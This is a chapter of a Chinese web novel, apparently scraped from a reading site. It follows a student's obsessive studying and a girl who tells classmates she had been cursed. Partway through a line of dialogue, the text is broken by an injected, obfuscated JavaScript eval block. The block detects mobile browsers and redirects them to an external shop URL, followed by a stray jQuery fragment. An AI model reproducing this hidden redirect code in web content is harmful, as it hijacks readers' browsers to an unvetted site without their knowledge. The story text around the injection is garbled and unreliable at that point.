文趣网 > 都市小说 > 我不考第一,你真的会死 > 25. 好像变正常了
    郁泊言晚上躺床上发呆,半晌,鬼使神差打开了白天拍的视频。

    两段视频循环看,其中一段黎初追着他拍视频的时候滑了一下,受到惊吓低低叫了一声,声音被录了进去。

    郁泊言怔了怔,倒回去听她的声音,房间里没开灯,隔着浓浓夜色看她的脸,半晌,喃喃一声“呆子”。

    ......

    身上没了那歹毒系统,黎初无缝切回了那个九宫格选手。

    尤其是跟父母出国玩那半月,发朋友圈发得很勤,那些日子,基本上郁泊言每天点开朋友圈就能刷到她的动态。

    郁泊言一条一条地看,一张一张地看,下意识想点个赞,指尖隔着屏幕触碰到她弯弯的笑眼,又顿住。

    他凭什么给她点赞?

    她又没有给他点过。

    ——虽然他最近没发,但这不是理由。

    而且,谁知道下一条朋友圈会不会出现那个人?

    没有别的原因,他纯看不惯早恋的。

    这种不良风气不正之风还好意思发朋友圈,真是不知所谓。

    郁泊言突然正义感爆棚,正义且烦躁着。

    那种烦躁的感觉密密麻麻,让人抓心挠肝地不舒服,郁泊言脸色变幻几许,直接把黎初……

    屏蔽了。

    ......

    黎初在国外潇洒的日子,郁泊言每天都在玩命学习,赶上近期公司训练和演出任务特别重,郁泊言的背包基本随身带着,训练间隙或者演出后台都要掏出小抄解两道题。

    “我说你要不要这么离谱?学成这样你要考状元啊?”

    周皓洋第一个受不了郁泊言的做派,成绩都这么好了,这到底是要干嘛?还给不给别人留条活路了?到时候他俩同一届参加高考,一个七百分一个四百分这像话吗?

    “别的活动就算了,这次准备的可是周年演唱会,都忙成这样了你还学学学,魔怔了吧你?这次活动要是演砸了,等着被师哥粉丝们撕成渣吧。”

    “就那几个动作,我心中有数。”郁泊言没有理会他的跳脚,像一个无情的学习机器,“闭上嘴,别打扰我学习。”

    周皓洋坐过来,强行抽走了他的笔,“不是说不比了吗?咋又开始了?那女的又怎么刺激你了?”

    郁泊言手上空了,怔怔抬头,带着一脸沧桑,大少爷这次倒是罕见没有生气,顿了片刻,却突然扒开领子,试探开口:“我脖子上有东西吗?”

    周皓洋被他突然的举动整得莫名其妙,凑近了看,一脸茫然:“什么东西?好像是有一颗痣......”

    郁泊言闻言嫌弃将人推开,从他手中夺过了笔,“边儿上待着去,没事儿少烦我。”

    辰一涣彼时换好衣服走了过来,见状忍不住一笑,看向郁泊言:“你最近到底怎么了?怎么神神叨叨的?”

    郁泊言抬眸看向他二人,似犹豫,默了片刻,凝眉道:“如果我说,我身上有个系统,你们信吗?”

    周皓洋辰一涣对视一眼,很默契地没有笑:“什么系统?”

    “只能考第一的系统,”郁泊言说,“规则就是我只能考第一,如果我拿不到第一,考在我前面的人就会消失。”

    辰一涣凝眉:“所以你是......救世主?你这么玩命学习是为了救人?”

    辰一涣没说完,跟周皓洋俩人就开笑了,两个人当着郁泊言的面儿笑得花枝乱颤。

    辰一涣笑着,在郁泊言左肩拍了下,“这想象力,艺考别报表演系了。”

    周皓洋笑着,在郁泊言右肩拍了下,“对,戏文专业明显更适合你哈哈哈哈哈”

    郁泊言:“......”

    郁泊言深吸一口气:“滚。”

    自此,郁泊言喜提“救世主”光荣称号。

    接下来很长一段时间,队友见到郁泊言belike:

    “救世主人呢,又请假?”

    “救世主驾到,统统闪开!”

    “今天的训练课救世主来不来?”

    “救世主干嘛呢?又在学习了?”

    “什么学习,那是在拯救苍生。”

    郁泊言冷笑,苦笑,失笑,毁灭吧。

    烦闷之余,郁泊言想看看黎初的动态,指尖落到屏幕上才想起这个人被他屏蔽了。

    他于是下意识想点去她的主页,回过神来却又极痛恨这种难堪的下意识,烦躁地将手机扔到了一边。

    ......

    快乐的时光总是一闪而过,黎初在外面浪了半月,回来休整了两天,正好无缝衔接上开学的日子。

    一月不见,教室里大家似乎格外兴奋,三五成群叽叽喳喳地聚一起聊天说笑,聊出去玩地趣事儿,聊新闻八卦,教室里闹作一团。

    黎初身上的恶臭名声尚未洗白,这份儿热闹自然是不带她的,黎初不吭声也不插话,一个人趴在桌子上画简笔画。

    钟思沅坐在黎初侧前方的位置,当下见到黎初被冷落,心中又是一阵酸涩。

    这几个月,两个人交流很少,黎初很自觉,知道自己名声不好当着别人的面儿从不主动跟她说话,只有在没人的时候才会跟她不咸不淡地聊几句。

    她们从未闹掰,但彼此都能感觉到,有些东西似乎已经回不去了。

    钟思沅身边的一个女同学顺着她的目光看过去,视线落到黎初身上,眨了眨眼睛,用一种近似施恩般的语气开口:“黎初寒假去哪儿玩了?好像有刷到你朋友圈哎。”

    黎初抬头,便见前面男男女女五六号人正神色各异看着她,黎初放下手里的画笔,明知这些人里大多不怀好意,佯装没有察觉,眉眼弯了弯,灿然一笑:“是出去了一趟,不过不是去玩的。”

    那女生眨眨眼睛,“那是去干嘛?探亲?”

    女生身侧的男生闻言意味不明地一笑,“寒假怎么舍得出去了?出去玩多耽误学习,怎么不在家学习啊?”

    另一男生也笑起来,“你怎么知道人家出去玩没带着作业,说不定拍完照片就把作业本掏出来了,让别的国家的人也看看我们国家高中生刻苦努力的精神面貌。”

    周围闻言笑作一团,黎初假装没有听出弦外之音,也跟着微微一笑,一脸神秘:“都说了不是出去玩的,总之这一趟收获颇丰。”

    黎初这一神秘,成功勾起了众人的好奇心,“不是出去玩,那到底是干嘛了?”

    黎初继续微笑,一脸恬淡:“你们没觉得我最近有什么不一样吗?”

    众人一怔,瞧着她的目光认真了几分——好像......好像是有点不一样了,好像正常了点是怎么回事?

    但当着人面儿说人家变正常了,这话不好直接说出来,众人对视一眼,默契地没有开口。

    黎初的视线从他们脸上扫过,像看穿了他们的心思,“你们是不是想说,我好像又变正常了?”

    “所以到底发生了什么?”

    “其实上学期我之所以那样,都是有原因的。”黎初说着红了眼眶,垂眸,欲语泪先流的模样。

    “什么原因?”

    “其实我那样,是因为,”她顿了顿,“有人给我下降头了。”

    “啊?”

    众脸懵逼。

    “不过不用担心,”黎初说,“这次出去遍寻能人异士,终于破解了。”

    方才嘲讽她的男同学睁大了眼睛,半晌,眼神清澈:“你是说真的吗?”

    “当然是真的。”黎初说,“不然我有什么理由

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591171|204702||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把自己变成那个样子?”

    黎初说着,从脖子上拿出一个用红绳串着朱砂扣的链子,“这是大师送的,再戴一周就能摘了。”

    “啊这,是这样吗?”

    “还能这样?不过这倒是解释了黎初上学期为啥那么癫。”

    同学们议论纷纷,唏嘘声一片,感觉很是奇妙,简直像在听什么经典传奇故事会。

    众人议论了一会儿,一男生发出灵魂拷问——“可是,为什么是玩命学习的降头,这是什么恶趣味。给你下降头的不会是你爸妈吧?”

    “……”

    “那不至于哈,我爸妈没那么鸡娃。”

    “那会是谁啊?”

    黎初摇摇头,低头,一脸无辜,眼圈更红了:“我也不知道是谁要害我。”

    看着火候差不多了,众目睽睽之下,黎初迎着众人的视线缓缓走上了讲台,而后,在所有人或质疑或同情或警惕的目光中,朝着台下的人深深鞠了一躬,“虽然那个时候我不受控制,连我自己也有点记不清自己做过什么了,但给大家造成麻烦的,我表示十分抱歉。”

    台下众人看着黎初,一片死寂。

    片刻,“啪啪——”

    钟思沅率先鼓掌。

    在钟思沅的带头下,九班教室里响起稀稀拉拉的掌声。

    黎初哭丧着脸,心中却是一喜——洗白进度+1。

    ......

    与此同时,六班却是另一幅景象,六班很安静,一种诡异的安静。

    郁泊言在低头刷题,整个人带着一种从未有过的紧绷,六班原是吵闹的,被郁泊言身上突如其来的低气压影响,以郁泊言为圆心向外蔓延,都不自觉压低了声音,最后默契地闭上了嘴。

    一派寂静中,众人你看看我,我看看你,对着空气打哑谜,谁也不知道发生了什么。

    他咋啦?

    咋突然学成这样?

    上回上上回不都拿了第一么,早扬眉吐气过了,怎么还在拼?

    这第一名是被人下诅咒了么,怎么谁上去就不想下来?

    众人盯着郁泊言凝眉学习的样子,某个瞬间,竟从他身上看见了另一个人的影子.......

    是错觉吧?一定是错觉。

    然而,接下来一连几天,郁泊言都是这种状态,或者说,是更甚。

    今年是星聚十五周年,周年演唱会郁泊言肯定是要参加的,按理说这种时候他会很长一段时间不出现在学校,然而这回学校像是把他魂给扣住了,不到万不得已根本不舍得请假,哪怕排练到下午四点钟,排练完也要回学校听一节课。

    平日里音乐也顾不上听了,游戏也卸载了,连体育课都翘了留在教室学习,随着开学第一次摸底考试临近,郁泊言这种近乎癫狂的学习状态更加明显,整个人也越来越紧绷,气压低得方圆两米不敢高声语。

    作为郁泊言同桌,赵烨先受不住了,酝酿再三,委婉开口:“郁哥,你听没听说黎初的事儿?”

    郁泊言正默写英语单词,这个名字像一根刺在他手心上狠狠刺了一下,笔尖在纸面上颤了下,划出一道长痕。

    他愣了下,抬头:“她怎么了?”

    赵烨见他好不容易理人了,忙凑过去,低低道:“那个神经病她.......她好像变正常了。”

    郁泊言蹙眉:“所以?”

    “听说她上个学期那样是有原因的,”赵烨又靠近了点,声音压得更低,“听说是被人下降头了,跑东南亚找了个大师才破解掉的。”

    郁泊言伸手挡住了他的靠近,眉蹙得更深:“你想说什么?”

    赵烨顿了下:“你要不让她把那大师推给你?”

    郁泊言:“......”